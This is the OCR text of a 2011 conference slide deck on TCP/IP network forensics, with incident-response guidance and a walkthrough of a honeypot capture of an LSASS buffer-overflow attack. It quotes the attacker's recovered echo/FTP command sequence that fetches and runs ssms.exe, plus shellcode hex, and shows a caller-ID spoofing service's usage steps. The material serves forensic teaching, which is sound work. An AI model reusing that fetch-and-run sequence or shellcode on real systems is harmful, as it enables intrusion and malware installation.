Business Service Management for Performance

TCPIP forensics

Share Session Anaheim

Laura Knapp
WW Business Consultant
Laurak@aesclever.com

2/25/2011 © Applied Expert Systems, Inc. 2011



Business Service Management for Performance

Background

Incident Evaluation

Trace Evaluation

. ________________________________________________________________________________________________________________________________________________|
2/25/2011 © Applied Expert Systems, Inc. 2011



AEC
Business Service Management for Performance = FaE_-=

What is Computer Forensics

« Computer forensics involves the
preservation, identification, extraction,
documentation, and interpretation of
computer media for evidentiary and/or root
cause analysis

 Network or TCP/IP forensics involves the
preservation, extraction, documentation and
Interpretation of TCP/IP data for evidentiary
and/or root cause analysis

 Doesn’t prevent computer crimes..after the
fact investigation

» Forensics experts follow clear, well-defined
mythologies and procedures
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What is Network Forensics

» Network forensics entails monitoring network
traffic and determining if there is an attack and if
so, determine the nature of the attack

« Key tasks include traffic capture, analysis and
visualization

» Network forensics systems can be one of two
kinds:

« "Catch-it-as-you-can" systems, in which all

S passing through a certain traffic

point are captured and written to storage
with analysis being done subsequently in
batch mode

« "Stop, look and listen" systems, in which
each packet is analyzed in a rudimentary
way in memory and only certain information
saved for future analysis
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Employee Trust

eConstruction Company

«Senior IT person also in charge of security
sUsed cost issue to convince upper management
to let him store data at his home rather than pay
for external off-site storage

«Conflict arose between the Employee and
Employer

*Employee sent email’s to clients of the
construction company indicating he had personal
iInformation

*Took 6 months to shut down the rogue employee
after the employee used the internet to threatened
people at which time the FBI became involved
«Construction company was fundamentally out of
business

http://www.cio.com/article/454614/IT_Security _Pros_Share_Horror_Stories

5
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Process Vulnerability

«Security administrator asked to shut off web
security monitoring system as it was interfering with
marketing’s ability to access the corporate web site
for creation and editing.

Director said ‘switch off’ not..... find a work
around...find a fix....just ‘switch it off’

sUsers quickly found that out that all web controls
were no longer active

A report surfaced that a user had used a desktop
to access porn

*Due to the use of generic accounts tracking
activity to a user was not possible

*Took 3 months, CCTYV, internal and external police
to finally catch the culprit

*To make matters worse the company dropped any
further work on a security framework and made the
security positions obsolete

© Applied Expert Systems, Inc. 2010
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SECURITY

Security experts beaten at their own ga

By Tom Sanders
Feb 9, 2007 1:35 PM
Tags: security | experts | beaten | own | game

RSA Conference delegates leave themselves wide open
to attack.

Maore than half of the computers used by security experts attending the RSA
Conference in San Francisco this week lack the proper protection and may
have been compromised, according to wireless security firm AirDefense.

The company scanned all wireless traffic on the first day of the conference
and found a total of 623 Wi-Fi enabled notebooks and mobile phones.

Some 56 per cent of these devices were configured automatically to log-on
to networks with common names such as ‘Linksys’ or T-Mobile’, a feature

known as an open access wireless account.

Attackers could exploit the feature through a so-called man-in-the-middle

*RSA conference 2007
*Over half the computers lacked
proper protection
*Many configured to
automatically log on to WiFl
networks like ‘Linksys’ ‘T-Mobile’
* Five rogue networks mimicked
common hotspot names
*These could easily insert man
in the middle routines and
capture data
*The RSA conference had a SAFE
WIFI network but it was to00000
complex to use and the help desk
line was long and slow

© Applied Expert Systems, Inc. 2010
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Fake Caller, ID), Change Your Voice, Record Calls Spoof Caller ID - SpoofCard.com - Microsoft Internet Explorer provided by the C

Fil=  Edit Wiew Favorites  Tools  Help Address @ http:/yspoofcard.com/ v EY o |',"
5 ™ — i - 3
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@ SPOOFCARD

3 THE NEXT GENERATION OF PHONE SPOOFING

. . Control Panel Login
- SpoofCard calling cards offers you the ability to Calling Card Pin:
change what someone sees on their caller ID
display when they receive a phone call. |

Key Benefits: Make calls truly private, abilicy to R
recaord calls, Change wour voice, Fun and
inexpensive, Easy to use and Fask ko set up!
Instant Access! @ BUY INSTANT CALLING MINUTES

HORE N | ;

@ ADD MONEY TO EXISITNG CARD

@ FREQUENTLY ASKED QUESTIONS

SPOOFCARD FEATURES: i
@ INTERNATIONAL RATES

Caller ID Spoofing : @ CUSTOMER SERVICE

Yoice Changer

Call Recording @ PRIVACY POLICY

Web Control Panel — SR

Purchase $10 Calling Card

- B0 Minutes USA Talk Time
- Caller I Spocfing

- Free Call Recording

- DEtomer Service Support

Mo computer needed! Simply dial the toll free
number from the calling card vou purchase,

1.Enter wour pin nurmber,
3, Enker Destination number,
2. Enter any Caller ID Mumber wau wish ko display,

4, Choose the woice you wauld like to use. l: T ~....- ."

5. ¥our call is connected using the specified Caller
10 Mumber e —

Purrhaes €20 Callina Card

& ®© Internet
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2009 Litigation Highlights

that 2 former Starwood execs looted >100k Starwood
computer files.

U.S. v. Chung (2009) — Boeing employee
convicted at trial for passing trade secrets to Chinese
government for 30 years. Co-defendant convicted and
jailed for 24 years; Chung, 74 years old, received 15
years in prison.

-US v. Zhu (2009) - Indictment alleging Chinese
national employed as engineer at US environmental
company stole software from his employer and sold
modified version to Chinese government.

US v. Lee (2009) — Former technical director of
paint and coating company quit 2 weeks after return
from business trip to China; discovered downloaded
trade secrets, deleted files, one way ticket from Chicago
to Shanghai.

Vistakon v. Bausch & Lomb (2009) —
Subsidiary of J&J alleges that B&L misappropriated
trade secrets in an effort to recruit sales force to bring
new contact lens product to market quickly.

© Applied Expert Systems, Inc. 2010
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The Impact of a Digital Crime

*Disruption to organizational routines and processes
*Direct financial losses through information theft and fraud
*Decrease in shareholder value

sLoss of privacy

*Reputational damage causing brand devaluation
sLoss of confidence in IT

*Expenditure on information security assets and data
damaged, stolen, corrupted or lost in incidents

sLoss of competitive advantage

*Reduced profitability

sImpaired growth due to inflexible
infrastructure/system/application environments
Injury or loss of life if safety-critical systems fail

Theft of trade secrets exceeded $1 trillion in 2008 and
continues to escalate _
*Over 40% of U.S. businesses have reported intellectual

%

10
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Incident Reporting

Law Enforcement report?
Regulatory agency report?
Insurance claim?

Disciplinary action?

Dismissal action?

Vendor report?

Update disaster recovery plan?
Update software to new versions?
Update employee training?

Public Affairs report?

CEOQO report to employees?
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Incident Response Process

Complete IR Checklist=

Define Roles

Establish Policies
Identify Tools
Network Preparation

Incident Preparation ‘

i

Incident Detection 1

Who/What/Where/\When @

Incident Description
Hardware/Software
Personnel Involved
Network

Completed IR Checklist.

Activate IR Team ‘

i

4

Is it really and Incident?

Initial Response 1:>

Firewall Logs

IDS Logs

Suspicious User
System Administrator

Verify Incident

o Affected Systems
» Users Involved
» Business Impact
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Incident Response Process Response

Management Approval
”Response Strategy 1:> Dollar Loss

* Downtime

o Legal Liability

e Publicity

» Intellectual Property

System Criticality
Information Sensitivity
Perpetrators

Publicity

Skill of Attacker
System Downtime
Dollar Loss

Accumulate Evidence

Best Evidence Rule
Chain of custody
Data \Volatility

” Forensic Duplication1
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Incident Response Process Improvements

[
I

New Procedures Recovery
Reinstall files
Reinstall from CD-Rom
Secure System
Turnoff unneeded services
Apply patches \/
Strong Passwords
Strong Administration

| Documentation {

» Document everything as it occurs
« Support both criminal and civil prosecution

* Produce the final report

* Process imgrovement
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Elements of Digital Forensics

f
: : : Application
Business Applications Security
Applications Services
Management . .
Servicges < p Application Servers
(Remote/Smart Center)
; Data Privacy
" Database/Data Privacy services
anaged \J
Hosting
Services
HW Platform, OS, Storage ! _
Identity
Services
Managed
Network LAN/WAN Network Access Managed
Services Security
. Services
Colocation
Services 1 Facility/Infrastructure
IT Services Risk/Compliance Security

17
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Network Forensics Elements

Security has to be applied within a business context
and fused into the fabric of the business

Secure the
scene and/or network
components
involved
Acquire details
Governance withq i
(Organization) | J
or ng
\ Crime is
committed

Gather dEtr?l"efI Authenticate that

erE)VIrcl)(nmentg details have
ackgroun not been altered)
information

Analyze the details
without
alteration

18
© Applied Expert Systems, Inc. 2010



| | S SES
Business Service Management for Performance Has ud’

Forensic Tools

* |IDS (Intrusion Detection System) attempts to detect
activity that violates an organization’s security policy
« Firewall allows or disallows traffic to or from specific
networks, machine addresses and port numbers
* Network Forensic Analysis Tools (NFAT) synergizes with
IDSs and Firewalls. .
* Preserves long term record of network traffic

» Allows quick analysis of trouble spots identified by
IDSs and Firewalls

* NFATs must do the following:
o Capture network traffic

* Analyze network traffic according to user
needs

* Allow system users discover useful and
interesting things about the analyzed traffic

2/25/2011 © Applied Expert Systems, Inc. 2011 19
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NFAT Tasks

« Traffic Capture
 What is the policy? e e ——

Fie  Hep
. . B&0M+ Q @e (L= Y
e \What is the traffic of 5 TG 35 Gt © T . oo s @ BT @ TP
Traces | uery Pms»mwl .Iammamn|
- I? | Packet Summay
Interest H | e Teestamp I""" Local P At B Promcol | Messages LocalPert | Rmt ot | 580 :;?M
| g 4 |srazesinz |weasnun e |5 \m Ms lmm l m
| E--:-mm-ﬂ
* Internal/External? S S
H .
_-:-mmmm_mmr—m_ -
exviamstod [ vce: [AcksvW. |
p [ ® 1228
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: : 1 T
« Traffic Analysis :
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« Organize traffic by session - e e -
il EEGIRTL N E R CT A T N 1 ""“‘“’ i} TP [ADKPSH ey ds__|1i7ecias |1S40830845 |
18 Zamsaseist| 4 |wetsanan (wndsesie th_|ACk g 1620 | 15406EGE45 | 14TA74T4_| 578
. [ T2a0T6I022E5T| 181 |1seAsaiiin |seilenostee TP |ACKPah w5 B3R | ASAGAERd5 | TaTAATATA |E5TE
B TRIMTTEST| 18 [wiamsiz [1szisamn o 1238
. rotocol Parsina an S I B B R T B =
= Zaze eI iaT| 180 BETAZE02 | TCP |ACKPGH s
= RIBIENTEST| T4 [wemsioz |meisein L 1825 w5 | tareersTs | 1s4oee01as (63713
M T8 BIMEATES| & w8114 305 102 TCP_[ACK. E 1828 | 1540600128 | 14Tea78Te |Bee
an al SIS B |Emmmrel s R e e L
= ZEEAISEWAEST| 200 |S8414305102 | 1521500010 I 1828 45| 1a7Barene | 1sebeannes |ednTa
Fij 22IBITINIEST 40 [192504IN |95 14205002 TCP | ACK 435 1228 | 154060265 | \4TE4TENE |9ELE
. =& T2 IBA0DMEEST| 163 1Az isoiiii _[mailesesine TCP | ACK PeH 445 06| 1540AR00ES | 1aTadTENE |Sads
[ Check for Strlngs uSe expert SIS LET]  VEe0 9V N 100 (153150 11111 TCP ALK =] CR e P (T
» 1724 EST a0 1525 MM |98 HA 205102 TCR |AlK a5 1828 | 1540050750 | 147845256 | 11880 -
1 T o I TCP_|ACK 528 O N e
. @ |massammest| aw w Tch Ak aas e Tisar
n 2230 ML LST| w0 TEP | ACK Fal 1828 1ATESTEE | 15406900¢ |€3H0.
S Stel I ls Or ana SIS [3¢ 23:38:30:1308 EET 4 [1ezash i [edne20d 0 TeP [ ALK 485 AELMGR0TG0 | 147851156 | 17620
% (mmwwmEsT| @ [mnamsinz [wcisanm ToP_[ack a8 e ) (T
e 3 mr ™ o T £ v = fre—
 Interacting with NFAT

« Appropriate user interfaces,
reports, examine large
guantities of information and
%
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PCAP Attack Situation*

The network traffic captured relates to an automated malware attack that
exploits the Windows Local Security Authority (LSA) Remote Procedure
Call (RPC) service of the victim host named “V.I.D.C.A.M.”, IP address
192.150.11.111, compromising the IPC$ share. Once the share is exploited,
a script is invoked, causing a connection to an FTP server named
“NzmxFtpd” and the acquisition of a file, ssms.exe.

Results

Trace Results Summary

Import Time : 506 seconds

File Size (bytes) 21044450
Number of bytes read 203103
Number of packets found 547
Unrecognized Packets found : 0

Record Types Found
IPv4 Packet Traces (TRCIDPKT) : 348

Packet Detail Summary
Number of TCP packets found : 348

Contraol

Start | Analyze |

* Excerpts from the HONEYPOT PROJECT 2010 Forensic Challenge

2/25/2011 © Applied Expert Systems, Inc. 2011 21
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What Can You Learn from the Trace?

Which systems (i.e. IP addresses) are
involved?

What can you find out about the attacking
host (e.g., where is it located)?

How many TCP sessions are contained in
the dump file?

How long did it take to perform the attack?
Which operating system was targeted by
the attack? And which service? Which
vulnerability?

Can you sketch an overview of the general
actions performed by the attacker?

What specific vulnerability was attacked?
What actions does the shellcode perform?

2/25/2011 © Applied Expert Systems, Inc. 2011
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What Can You Learn from the Trace?

Which systems (i.e. IP addresses) are involved?

it CleverVisw®

for cTrace Analysi: =R X
o .. —— — —
File  Help
|IBEr@0BE+=> QR I @B T
J 1% Traffic Errors pep Session Errors () Resp. Time Thresh, ﬁ( Application Errors @ INIT Packets @ TERM Packets INIT Errars TERM Errors
Traces | Query Builder | Packet Summary | Session Summary Exception Report |
—Connection Initiation Packets
Data i
D coe | LocallP Rt, P Protocal | Messages Local Port | Rmt, Port rf':r‘n‘ber r-?:r:ber ;“IZ':E"""

Attacker — 98.114.205.102
Destination — 192.150.11.111

. ___________________________________________________________________________________________________________________________________________________|
2/25/2011 © Applied Expert Systems, Inc. 2011
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What Can You Learn from the Trace?

What can you find out about the attacking host (e.g., where is it located)?

hostip.info

My IP Address Lookup and GeoTargeting
Community Geotarget IP Project — what
country, city IP addresses map to

IP Address Lookup APl Data Contribute Forum FAQ About Ecommerce
Domain to IP or Host name lookup

98.114.205.102

What's Your IP Address?

2/25/2011

Host name: pool-98-114-205-102.phlapa.fios.verizon.net.
IP address: 98.114.205.102
Location: Seoul, KOREA, REPUBLIC OF (change)

Are you an ISP / host? Update an entire block

/ Seoul

7

o ‘Yongsan-gu ;f

M7 i

Aok

CEiiole > 522 f %

y J}!{dala ®2011 SK M&C - Terms of Use

See It Right On iGoogle With This

Customizable Gadget.

Google.com/ig

IP Address Management
Scalable, Next-Gen Service
Improves Cost & Efficiency. Free
Whitepaper!

IP Geo Location Server
Determine the real-time
geographic Location of your web
site visitors

Quova.com

Ads uycoog[e

Ce cial Geodatal

= Maxhind
If you're looking for a commercial option,
this database maintains a great level of
accuracy.

Other interesting projects

Business Reference
Reference for Business

= 1911 Encyclopedia Britannica
Brief Biographies

Library Index

© Applied Expert Systems, Inc. 2011
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What Can You Learn from the Trace?

How many TCP sessions are contained in the dump file?

5 Sessions

o S— -— - -
[t CleverView® for cTrace Analysis [ E=REel ™
File  Help
B @0E«=> QR 3%MB Y
J 15 Traffic Errors 5.5 Session Errors Resp. Time Thresh. % Application Errors @ INIT Packets @ TERM Packets IMIT Errors TERM Errors
Traces-l Query Euih:lerl Packet Summary Session Summary | Exception Repurtl
T SES5I0MN SUMMAary
Elapse Time Datagrams | Datagrams Avg. Avyg. .
| SID Start Time: End Time {hh: mm:ss titt) Local IP Local Port | Rmt. IP Rmt. Port In (Bytes} | Out (Bytes) | Datagram | Throughput Init. Pkt. Term. Pkt. | 1
1 22:28:28:3T45EST 22:28: 287288 EST  00:00:00:3543 19215011111 445 98.114.205.102 1821 4 3 4225 0.08 0 0
2 22:28:28:5091 EST 22:28:33:44T2EST  00:00:04:5381 18215011111 445 98.114.205.102 1828 14 17 205.3% 013 0 1
3 22:28:34:51689 EST 22:28.44:5823 EST 00:00:10:0719 192 150.11.111 1080 82114205102 2152 155 112 52574 188 ] o
4 22:28:30:4564 EST 22:28:33:5884 EST 00:00:03:1000 192 150.11.111 1857 82114205102 1924 [ 6 52.58 0.02 ] o
5 2228334572 EST 22:2844:50328 EST 00:00:11:1386 19215011111 36296 82114205102 2834 12 15 62.63 0.02 ] 4

2/25/2011

© Applied Expert Systems, Inc. 2011
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What Can You Learn from the Trace?

How long did it take to perform the attack?

a-! Trace Diff rF M e =
Compare By [~ Sequence Mumber [ RU
Trace 1 Trace 2
|C\Temp\5w instalMattack-trace. mdb j Browse g |C:\Temp\5w instalattack-trace.mdb J Browse
Search Run Query Search Run Query
Packet Summary Packet Detail 1 Packet Summary Packet Detail ]
. Packet Details Hex Decode P Packet Details Hex Decode s =
Duration : 16.219218 seconds |  zsee: -
. .
Packet I : 1 Packet ID: 348
N u m be r Of P aC ketS . 348 Time + 411912009 22:28:28:3745 EST Time + 411812009 22:28:44:5838 EST
.
Header : Header :
Source Mac: 00:08:E2:38:56:01  Remote Mac : 00:30:48:62:4E:4A Source Mac: 00:30:48:62:4E:4A  Remote Mac: 00:0&:E2:38:56:01
ETHERTPE : IP (0xB00} ETHERTYPE : IP (0xB00)
IP Version 4 IP Version 4 (]
L Source ©98.114.205.102 Remote :182.150.11.111 Source :182.150.11.111 Remote :98.114.205.102 [
Protocol : TCP Protocol : TCP
Datagram Length : 43 Datagram Length : 40 i
Flags : Don't Fragment Fragment Offset: 0 Flags : Don't Fragment Fragment Offset: 0 0
(]
TCP Header Info TCP Header Info (]
Source Port: 1821  Remote Port : 445 Source Port: 36298 Remote Port : 8884 I
Seq. Number : 147554406  Ack. Number : 0 Seq. Number : 1545882667  Ack. Number : 0
(Window : 64240 Flags : SYN (Window : 0 Flags : RST i
Maximum segment size: 1450 bytes
NOP
NOP
| | |sack permittea
(|
i
(|
L
L
| |
(|
|l
L= I
L]

2/25/2011 © Applied Expert Systems, Inc. 2011 26
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What Can You Learn from the Trace?

Which operating system was

targeted by the attack? And ottt b s . Secaw W

File  Help

which service? Which BEE@0Be+Qu1m®d?

1, Traffic Errors 324 Session Errors Resp. Time Thresh. $¢ Application Errors INIT Packets @ TERM Packets INIT Errors TERM Errors

ags
Vu I n e rab I I Ity’) Traces} Query Bundarl Packet Summary} Session Summary  Packet Details
H

Packet Details
Packet Details Hex Decode " EBCDIC * AsCl
Hex Decode
OS is Windows XP -
CTRACE Header
L 0 E-ID Time 1 CI Ld LINE/JOB SRD DRD Time Z 5P DP ICE ASID R

06 01 0000 C14B8BECE 060010 02 CCECDF44 CC444444 CS06 67Cé FF034644 ZE ZE 00E3 50 ao
2ZDe E

. 7 =
WIndOWS 5 1 1F 00 0001 40870727 070050 19 39236100 6000000 06BF 22D6 FFO082ZEA E1 E1 08ZB &1 80
. CISCol  FF

IDv4 Header
VT L ID FO t P CS5 SAD DaD
4 0 02 DR 40 4 0 35 C306 &7CE
5 0 15 50 00 0 & 81 0&BF ZzD&

Active Directory Feature S e 0w o

OB 02 5D01 OCFS 1s 3E 00
1D 74 B5F3 BF&4 Do C7 00

o m o
m e 0

AU Data

000FF5447100C30C00000000000000FF00100F0F00080004544555000000000230
000DF3D236000872800000000000000FE08004F0D0008020E4CD33002000C0C000
---.NTLMSSP. -0.

0018BESESEESBD000000004040300050404040404000005040404040400000504
005ZA04F0Z0DSFO00000000COCOC0006050403010D020C06050403010D010C0605

04040404000005040404040400000504040404040000000000000050606060607
0403010D040C0 oDU20C060590403010D060401000000007 03

W 07020302030005060606060707020303030302040404020406060606060700
0300050E010007090E040F07030002000000000C010E000D010E0107050200
- S...1...W.in.d.o.w.s. .2.0.0.0. .L.AN. M.a.n.sz.g.e.r..

2/25/2011 © Applied Expert Systems, Inc. 2011 27
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What Can You Learn from the Trace?

Can you sketch an overview of the general actions performed by the
attacker?

Recon work is done:

4 CleverView® for cTrace Analysis - - . _ NN o)
— - - o o -
File Help
B8 0B«=> Q% 30HEB P
K5 Traffic Errors 53 Session Errors ) Resp. Time Thresh. & Application Errors @ INIT Packets @ TERM Packets  INITErrors  TERM Errors

Trm.-sl Query Builder Packet Summary | Session Summary‘ Packet Demls‘

Packet Summary

D Timestamp Da;?zgeram Local P Rt P Frotocol | Messages Local Fort | Rt Port ﬁ"gbe, m:ner ;’ivz‘gd"‘" o
1 |2z28:ze3745EST| 48 |sBa14z20s02 [1s2150ma1 | TeR [swvn | 1821 |  4s5  |147554406 |0 |64240 L
2 |2228:28:3750EST| 48 [162450.11.11  [98.114205102 | TCP  |ACKSYN | 445 | 1821 |[1547413620 | 147554407 |5840

3 2728:28:4936EST| 40 [98.114205102 [182.150.11.111 TCP |AcK 1821 445 [147554407 [1547413621 64240 L
B 2228285091 EST| 48 |98.114205102 [192.150.41.111 TCP__|SYN 1828 445 [147845946 |0 64240

B |222828:5094E5T| 48 [192450.11111  |98.114.205.102 | TCP | ACKSYH | 445 | 1828 |1540689598 147846947 |5840 |
(7 |2z28:28:5097 EST| 40 [182150.11.011 [98.114205.102 |  TCP |ACK | as5 | 1821 [1547413621 [ 147554408 |5840 |

Exploit the vulnerable host:
SMB buffer overflow and passes shellcode to bind cmd to a port

15 22:28:28:9768 EST Al 192.150.11.111 58.114.205.102 TCP ACK 445 1828 1540685688 | 147847252 | 7504
16 22:28:29:0975 EST 257 19215011 111 58.114.205.102 TCP ACK PSH 445 1828 1540685688 | 147847252 | 7504
17 22:28:29:2150 EST 262 §8.114.205.102 | 192.150.11.111 TCP ACK PSH 1828 445 147847252 | 1540689945 | 63894
18 22:28:29:2150 EST 40 18215011111 58.114.205.102 TCP ACK 445 1828 15406855945 | 147847474 | 8576
19 22:28:29:3322 EST 161 19215011111 58.114.205.102 TCP ACK PSH 445 1828 15406855945 | 147847474 | 8578
20 22:28:25:4477 EST 138 98.114.205.102  [192.150.11.111 TCP ACK PSH 1828 445 147847474 | 1540690066 | 63773
| 22.28:29:4477 EST 40 192.150.11.111 58.114.205.102 TCP ACK 445 1828 1540690066 | 147847572 | 8576
22 22:28:29:5639 EST 100 18215011111 58.114.205.102 TCP ACK PSH 445 1828 1540650066 | 147847572 | 8576
23 22:28:29:6817 EST 144 98.114.205.102 [ 192.150.11.111 TCP ACK PSH 1828 445 147847572 | 1540690126 | 83713
24 22:28:29:6817 EST Al 192.150.11.111 58.114.205.102 TCP ACK 445 1828 1540650126 | 147847676 | 8575
25 22:28:29: 7994 EST 179 19215011 111 58.114.205.102 TCP ACK PSH 445 1828 1540650126 | 147847676 | 8575
26 22:28:29:9169 EST 200 §8.114.205.102 | 192.150.11.111 TCP ACK PSH 1828 445 147847676 | 1540690265 | 63574
27 22:28:29:9168 EST 40 182.150.11.111 58.114.205.102 TCP ACK 445 1828 1540690265 | 147847836 | 9648
28 22:28:30:0448 EST 168 192.150.11.111 58.114.205.102 TCP ACK PSH 445 1828 1540690265 | 147847836 | 9648

_________________________________________________________________________________________________________________________________________|
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What can you learn from the trace?

Can you sketch an overview of the general actions performed by the
attacker?

Frame 42:
FTP Download and malware execution instructions are transmitted

T e o cice e

File Help
Br&0Be=2>Q % 3, M P

{55, Traffic Errors 573 Session Errars (@) Resp. Time Thresh. 9 Application Errors @ INIT Packets @ TERM Packel

Traml Query Builderl Packet Summaryl Session Summary  Packet Details l

Packet Details
Packet Details Hex Decode ¢ EBCOIC  * ASCH

Hex Decode

Dacket ID : 42

CTRACE Header

L 0 E-ID Time 1 CI Ld LINR/JOB SAD DAD Time 2 5P

| 0E 01 0000 C14847F8 040000 OR EDCCCEDC CC444444 €7C6 C908 FFOOE3SO ZE

03 00 0001 406A91E7 0600AD 03 Z5966253 66000000 2ZD6 06BF FFO8ZBEL E1
SNIFFSNI FF

P TCEB ASID R
E 0348 42 00
1 008z ER 80

IPvd Header

Vv ITL IDFC t FC5 SAD DAD
4 0 OR 3D 40 7 0 DR 67Cé C306
5 0 03 CO 00 1 6 06 22D6 06BF

TCP Header
Sp DP SER ACK O CW CS UP
08 OR D18A SR66 S

74 75 3% 8 AF 59 00
i/au Data
666626766232323232 2326266662776723232332622666626672776726762

538FO0F0SE00E0E0E00858540E0F6538F0535201010EE0F06538F0754033D3E5850
echo cpen 0.0.0.0 8384 > osecho user 1 1 >> o secho get ssms._exe

3326226666277672333622677226227362266622422526227767267600
EE0F06538F015340EE0F0£€400DE0D3AF0645C0FE0F10F0E33D3E535DA
>> o zecho quit »» o iftp -n -s:c idel /F /@ o issms.exe..
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What can you learn from the trace?

Can you sketch an overview of the general actions performed by the
attacker?

Frame 50:
Victim initiates FTP connection to the attacker and downloads a file name ssms.exe

|

46 22:28:33: 3179 EST 41 18215011111 08.114.205.102 TCP ACK PSH 1957 1924 1554014822 | 152210995 (5840

54 22:28:33. 7239 EST 73 58 114.205.102 182.150.11.111 TCP ACK PSH &84 362096 159517980 | 1545682589 (64240

56 22:28:33. 7240 EST 60 192.150.11.111 58.114.205.102 TCP ACK PSH 36296 3084 1545682589 | 159518001 (46

57 22.28:33.:8489 EST T4 98.114.205.102 192.150.11.111 TCP ACK PSH 2824 36296 159518001 | 1545682597 (64232

58 22:28:33:B489 EST 60 192.150.11.111 98.114.205.102 TCP ACK PSH 36296 2834 1545682597 | 159518023 |46

59 22:28:33:9790 EST 72 98.114.205.102 182.150.11.111 TCP ACK PSH 2884 36208 159518023 | 1545682605 (64224

60 22:28:33:9791 EST 58 18215011111 08.114.205.102 TCP ACK PSH 36206 2884 1545682605 | 159518043 (46

61 2228341115 EST 65 58 114.205.102 182.150.11.111 TCP ACK PSH &84 362096 159518043 | 1545682611 (64218

62 2228341115 EST 60 192.150.11.111 58.114.205.102 TCP ACK PSH 36296 2884 1545682611 | 159518056 (46

63 22:20:34. 2454 EST il 98.114.205.102 192.150.11.111 TCP ACK PSH 2824 36296 159518056 | 1545682619 (64210

64 22:28:34:2465 EST T8 192.150.11.111 98.114.205.102 TCP ACK PSH 36296 2834 1545682619 | 159518075 |46

65 22:28:34:3839 EST a1 98.114.205.102 182.150.11.111 TCP ACK PSH 2884 36208 1589518075 | 1545682645 (64184

68 22:28:34:3840 EST 67 18215011111 08.114.205.102 TCP ACK PSH 36208 2884 1545682645 | 159518104 (46
Stream

Packet 54....NzmxFtpd owns JO

Packet 59.....User 1 is logged in

Packet 63.....Type is set to |

Packet 65...... Port command successful
Packet 67.....Opens Binary data connection

Packet 348....FTP session is closedtransfer complete
________________________________________________________________________________________________________________________________________________|
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What can you learn from the trace?

What specific vulnerability was attacked?

Stack based buffer overflow in certain Active Directory service
functions in LSASEV.DLL of the local Security Authority Subsystem
Service (LSASS). Exploits a lack of array boundary checking in a
LSASS function.

National VulhepaBilits ﬁebase

automating vulnerability manage

ity measdrement, and compliance checking

|vulnerabilities Checklists Y00-53 Controls Product Dicticnary Impact Metrics Uata Feeds Statistics

Home | SCAP |SCAP Validated Toals | SCAP Fuents | Abour | Contact Vendar Comments
National Cyber-Alert System

NVD = the LS. p— = . .

s et s of ility Summary for CVF-2003 3

standards based elease dale: 065/01/2004

Last ised: 09/10/2008

data. Thiz data enables
automation of Source: US-CERT/NIST

vulnerability

management, securil z

mea:gmment. and i Overview

comphiance (e.9. FISMA). srack-based buffer averflow in certain Active Directary service functions in LSASRV.DLL of the Local Security
m Authonty Subsystem Service (LSASS) in Microsoft Windows NT 4.0 SPha, 2000 SP2 through SP4, XP SP1, Server

2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via a packet

NV contains: that causes the DsRolerUpgradeDownlevelServer functien to create long debug entries for the DCPROMO.LOG log
45049 CVE file, as by the Sasser worm.
163 Chackletg
Impact

212 US-CERT Slerts
2473 US-CERT Vuln Notas
6057 OyaL Quaries
30441 CFE Names

CV55 Severity (version 2.0 incomplete ion):
CVSS v2 Base Score: 7,5 (HIGH) (AV:N/AC LA NG /L FA:P) (legend)
Tmpact Subscora: 6.4

Exploitability Subscore: 10.0

Last updated: Fri Feb
25 17:59:13 EST 2011 Cy'SS Version 2 Metrics:

‘;f;;“"""“"" rale:  pccess Vector: Network exploitable

Access Complexity: Low

Authentication: Not required to exploit

9 Impact Type: Frovides unauthorized access, Allows partial confidentiality, integrity, and availabiiity violation; Allows
unauthorized discosure of infermation; Allows disruption of service

VD provides four main
fists to the public. For

information and
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What can you learn from the trace?

What actions does the shellcode perform?

Shellcode was in TCP segments 29, 31, and 33

Tools like Ollydbg and IDA can analyze shellcode further

BU Data

000FF5442000010C00000000000000D000&0100A0000000000000000050R05000
00C4F3D25000087800000000000008C408000000C0004000000000000400C4020
_____ BMB% . o e e T T

Z004B01505040504050000000001000A000000080000000EQ000000EQO0599559
20001CoC000500050C00000500300000C0010008C000090C3000000C300000000
L = =

595555555955559595555995959595955959595595595959555595595995559955559955593593533
00000000000000000000000000000000000000000000000000000000000000000

595555555955555955559955959595559595955955595959555595559955595555995559555
00000000000000000000000000000000000000000000000000000000000000000

595555559555595555953
000000000000000000000

21D9141EA1ESESS1ERSSIDEATCCCIASE16FS063E90C159D77CCC151DBS54795R5
4231212A52071AR2 73R TDR4FEGZ6AZZB3T0AFDI0GAEDCE00E7242FDARSARERD
4B ____.. o bt Bk §7._... ~ ..p....T..__ZHx X.D

F131D3555795519585161615914F3C719953159CCeCeCl4F3CTESS3CCCCESF3aCT1
|
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Common Forensics Mistakes

® Failure to Monitor ® Failure to Detect
* ICMP Traffic « ICMP Covert Channels
’ SMT.P’ POP and IMAP » UDP Covert Channels
Traffic
« UseNet Traffic « HTTP Covert Channels
« Files saved to external * Steganography
media * Erasing Logs
» Web Traffic

e File Encryption

e Senior Executives Traffic « Binary Trojans

e Internal IP Traffic

» Failure to PlayBack eFailure to Trace:
 Encrypted traffic « DOS
* Graphics « DDOS

* Modeling and Simulation traffic « Spoofed EMail
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Our other presentations:
Tuesday, 9:30 am — 10:30 am: Performance Management 101
Tuesday, 3:00 pm - 4:00 pm: Performance Management in a Virtualized Environment
Wednesday 3:00 pm — 4:00 pm: Management Changes in IPv6 — Focus on ICMPv6
Thursday 9:30 am — 10:30 am: Hot Topics in Networking and Security
Thursday 1:30 pm — 2:30 pm: Network Problem Diagnosis with OSA Examples
Thursday 3:00 pm — 4:00 pm: TCP/IP Forensics
Friday 8:00 am — 9:00 pm: Keeping Your Network at Peak Performance as you Virtualize the Data Center
Friday 9:30 am — 10:30 am: Virtualization: New Technologies and Methods to Assure the Health of the Infrastructure
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